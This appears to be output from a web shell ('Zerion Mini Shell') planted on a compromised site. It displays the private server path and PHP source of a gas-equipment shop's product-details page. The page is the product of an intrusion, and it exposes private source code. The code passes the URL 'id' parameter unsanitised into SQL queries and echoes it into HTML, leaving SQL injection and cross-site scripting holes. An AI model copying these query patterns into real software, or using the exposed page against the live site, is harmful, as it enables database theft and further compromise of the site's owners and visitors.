%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/riacommer/domains/gasworld.com.my/private_html/
Upload File :
Create Path :
Current File : /home/riacommer/domains/gasworld.com.my/private_html/product-details.php

<!DOCTYPE html>
<html>
	<head>
		<?php include_once("header.php"); ?>
	</head>
	<body>

		<div class="body">
		
			<?php include_once("top.php"); ?>
			
			<div role="main" class="main shop">

<?php
$get_id = '0';
$product_name='';
$productImageUrl='';
$productCode='';
$productDesp='';
$otherInfoImage = '';
$product_category_id='0';
if(isset($_GET["id"])){
	$get_id = $_GET["id"];
	$sql="SELECT * FROM sa_product WHERE id='$get_id'";
	$mysql_result = mysql_query($sql, $connection);
	$num_rows = mysql_num_rows($mysql_result);
	if($num_rows>=1){
		while($row = mysql_fetch_array($mysql_result)){
			$product_name = $row["product_name"];
			$productImageUrl = 'contents/products/' . urlencode($row["product_image"]);
			
			$productCode = $row["product_code"];
			$productDesp = doBold(nl2br($row["product_desp"]));
			
			//tag replace
			$productDesp = doTag($productDesp);
			
			//$productDesp = strip_tags(str_replace('</LI>',PHP_EOL,$productDesp));
			//$productDesp = strip_tags(str_replace('<li>','<br />',$row["product_desp"]));
			
			$product_category_id = $row["product_category_id"];
			if($row["extra_image1"]!=''){
				$otherInfoImage .= '<p><img src="contents/products/'.urlencode($row["extra_image1"]).'" /></p>';
			}
			if($row["extra_image2"]!=''){
				$otherInfoImage .= '<p><img src="contents/products/'.urlencode($row["extra_image2"]).'" /></p>';
			} 
			if($row["extra_image3"]!=''){
				$otherInfoImage .= '<p><img src="contents/products/'.urlencode($row["extra_image3"]).'" /></p>';
			}
			
		}
	}
	
}

function doBold($s){
	$search = array('SPECIFICATIONS', 'PRODUCT FEATURES', 'FEATURES', 'Features:', 'O2', '2O', 'BODY SIZES', 'Product Features', 'Materials', 'Applications', 'Specifications', 'APPLICATIONS', 'SPECIFICATION');
	$replace = array('<hr /><b>SPECIFICATIONS</b>', '<hr /><b>PRODUCT FEATURES</b>', '<hr /><b>FEATURES</b>', '<hr /><b>Features:</b>', 'O<sup>2</sup>', '<sup>2</sup>O', '<hr /><b>BODY SIZES</b>', '<hr /><b>Product Features</b>', '<hr /><b>Materials</b>', '<hr /><b>Applications</b>', '<hr /><b>Specifications</b>', '<hr /><b>APPLICATIONS</b>', '<hr /><b>SPECIFICATION</b>');
	return str_replace($search, $replace, $s);
}

function doTag($s){
	$search = array('[b]', '[/b]', '[i]', '[/i]', '[u]', '[/u]', '[hr]');
	$replace = array('<b>', '</b>', '<i>', '</i>', '<u>', '</u>', '<hr />');
	return str_replace($search, $replace, $s);
}

function tab2space($line, $tab = 4, $nbsp = FALSE) {
    while (($t = mb_strpos($line,"\t")) !== FALSE) {
        $preTab = $t?mb_substr($line, 0, $t):'';
        $line = $preTab . str_repeat($nbsp?chr(7):' ', $tab-(mb_strlen($preTab)%$tab)) . mb_substr($line, $t+1);
    }
    return  $nbsp?str_replace($nbsp?chr(7):' ', '&nbsp;', $line):$line;
}

?>			
			
				<section class="page-header">
					<div class="container">
						<div class="row">
							<div class="col-md-12">
								<h1><?php echo $product_name; ?></h1>
							</div>
						</div>
					</div>
				</section>
			
				<div class="container">

					<hr />

					<div class="row">
						<div class="col-md-9">

							<div class="row">
								<div class="col-md-6">

									<div class="owl-carousel owl-theme" data-plugin-options='{"items": 1, "margin": 10}'>
										<div>
											<img alt="" height="300" class="img-responsive" src="<?php echo $productImageUrl; ?>" />
										</div>
									</div>

								</div>

								<div class="col-md-6">

									<div class="summary entry-summary">

										<h1 class="mb-none"><strong><?php echo $product_name; ?></strong></h1>

										<p class="price">
											<span class="amount"><?php echo $productCode; ?></span>
										</p>

										<p class="taller"><?php echo $productDesp; ?></p>

									
										
								<form method="post" class="cart" action="enquiry-cart.php">
									<input type="hidden" value="<?php echo $get_id; ?>" id="product_id" name="product_id" />
									Quantity:<br />
									<div class="quantity">
										<input class="minus btn-number" value="-" type="button" data-type="minus" data-field="quantity">
										<input class="input-text qty text input-number" title="Qty" value="1" min="1" max="9999" id="quantity" name="quantity" min="1" step="1" type="text">
										<input class="plus btn-number" value="+" type="button" data-type="plus" data-field="quantity">
									</div>
									<button href="#" class="btn btn-primary btn-icon"><i class="fa fa-shopping-cart" aria-hidden="true"></i>Add to enquiry </button></form>
									</div>
								</div>
							</div>

							<?php if($otherInfoImage!=''){ ?>
							
							<div class="row">
								<div class="col-md-12">
									<div class="tabs tabs-product">
										<ul class="nav nav-tabs">
											<li class="active"><a href="#productInfo" data-toggle="tab">Aditional Information</a></li>
										</ul>
										<div class="tab-content">
											<div class="tab-pane active" id="productInfo">
											
												<?php
													echo $otherInfoImage;
												?>
											
											</div>
											
										</div>
									</div>
								</div>
							</div>

							<?php } ?>
							
							<hr class="tall">

							<h4 class="mb-md text-uppercase">Related <strong>Products</strong></h4>
<div class="row">

								<ul class="products product-thumb-info-list">
<?php
//<li class="col-sm-3 col-xs-12 product">
$sql = "SELECT * FROM sa_product WHERE product_category_id='$product_category_id' AND id<>'$get_id' ORDER BY RAND() LIMIT 4";
$mysql_result = mysql_query($sql, $connection);
$num_rows = mysql_num_rows($mysql_result);
if($num_rows>=1){
	while($row = mysql_fetch_array($mysql_result)){
	
		$product_url = 'product-details.php?id='.$row["id"];
		$thumb_url = 'contents/products/thumb_'.urlencode($row["product_image"]);
		
		if(!file_exists($thumb_url)){
			$thumb_url = 'contents/products/'.urlencode($row["product_image"]);
		}
		
		$product_name = $row["product_name"];
		$product_code = $row["product_code"];
	
		echo '<li class="col-sm-3 col-xs-12 product">
										<span class="product-thumb-info">
											<a href="'.$product_url.'">
												<span class="product-thumb-info-image">
													<span class="product-thumb-info-act">
														<span class="product-thumb-info-act-left"><em>View</em></span>
														<span class="product-thumb-info-act-right"><em><i class="fa fa-plus"></i> Details</em></span>
													</span>
													<img alt="" class="img-responsive" src="'.$thumb_url.'" style="padding:40px;">
												</span>
											</a>
											<span class="product-thumb-info-content">
												<a href="'.$product_url.'">
													<h4 class="heading-primary">'.$product_name.'</h4>
													<span class="price">
														<span class="amount">'.$product_code.'</span>
													</span>
												</a>
											</span>
										</span>
									</li>';
	
	}
}
?>							
								</ul>
							</div>
							
	

						</div>
						<div class="col-md-3">
							<aside class="sidebar">

								<!--<form>
									<div class="input-group input-group-lg">
										<input class="form-control" placeholder="Search..." name="s" id="s" type="text">
										<span class="input-group-btn">
											<button type="submit" class="btn btn-primary btn-lg"><i class="fa fa-search"></i></button>
										</span>
									</div>
								</form>-->

								<hr>

								<h5 class="heading-primary">Category</h5>

<?php
$sql = "SELECT p.product_category_id, cat.product_category FROM sa_product p,  sa_product_category cat where p.section_id IN (1,2,3) and cat.id = p.product_category_id 
group by p.product_category_id, cat.product_category order by cat.product_category";
$mysql_result = mysql_query($sql, $connection);
$num_rows = mysql_num_rows($mysql_result);
if($num_rows>=1){
	while($row = mysql_fetch_array($mysql_result)){
		$product_url = 'product.php?cat='.$row["product_category_id"];
		echo '<a href="'.$product_url.'"><span class="label label-dark" style="font-size:12px;">'.$row["product_category"].'</span></a><br />';
	}
}
?>								
							
								<hr>

							</aside>
						</div>
					</div>
				</div>

			</div>
		
		<?php include_once("footer.php"); ?>
			
		</div>

		<?php include_once("footer-js.php"); ?>

		<script>
$('.btn-number').click(function(e){
    e.preventDefault();
    
    fieldName = $(this).attr('data-field');
    type      = $(this).attr('data-type');
    var input = $("input[name='"+fieldName+"']");
    var currentVal = parseInt(input.val());
    if (!isNaN(currentVal)) {
        if(type == 'minus') {
            
            if(currentVal > input.attr('min')) {
                input.val(currentVal - 1).change();
            } 
            if(parseInt(input.val()) == input.attr('min')) {
                $(this).attr('disabled', true);
            }

        } else if(type == 'plus') {

            if(currentVal < input.attr('max')) {
                input.val(currentVal + 1).change();
            }
            if(parseInt(input.val()) == input.attr('max')) {
                $(this).attr('disabled', true);
            }

        }
    } else {
        input.val(0);
    }
});


$('.input-number').focusin(function(){
   $(this).data('oldValue', $(this).val());
});
$('.input-number').change(function() {
    
    var minValue =  parseInt($(this).attr('min'));
    var maxValue =  parseInt($(this).attr('max'));
    var valueCurrent = parseInt($(this).val());
    
    name = $(this).attr('name');
    if(valueCurrent >= minValue) {
        $(".btn-number[data-type='minus'][data-field='"+name+"']").removeAttr('disabled')
    } else {
        alert('Sorry, the minimum value was reached');
        $(this).val($(this).data('oldValue'));
    }
    if(valueCurrent <= maxValue) {
        $(".btn-number[data-type='plus'][data-field='"+name+"']").removeAttr('disabled')
    } else {
        alert('Sorry, the maximum value was reached');
        $(this).val($(this).data('oldValue'));
    }
    
    
});
$(".input-number").keydown(function (e) {
        // Allow: backspace, delete, tab, escape, enter and .
        if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 190]) !== -1 ||
             // Allow: Ctrl+A
            (e.keyCode == 65 && e.ctrlKey === true) || 
             // Allow: home, end, left, right
            (e.keyCode >= 35 && e.keyCode <= 39)) {
                 // let it happen, don't do anything
                 return;
        }
        // Ensure that it is a number and stop the keypress
        if ((e.shiftKey || (e.keyCode < 48 || e.keyCode > 57)) && (e.keyCode < 96 || e.keyCode > 105)) {
            e.preventDefault();
        }
    });
</script>	

	</body>
</html>

Zerion Mini Shell 1.0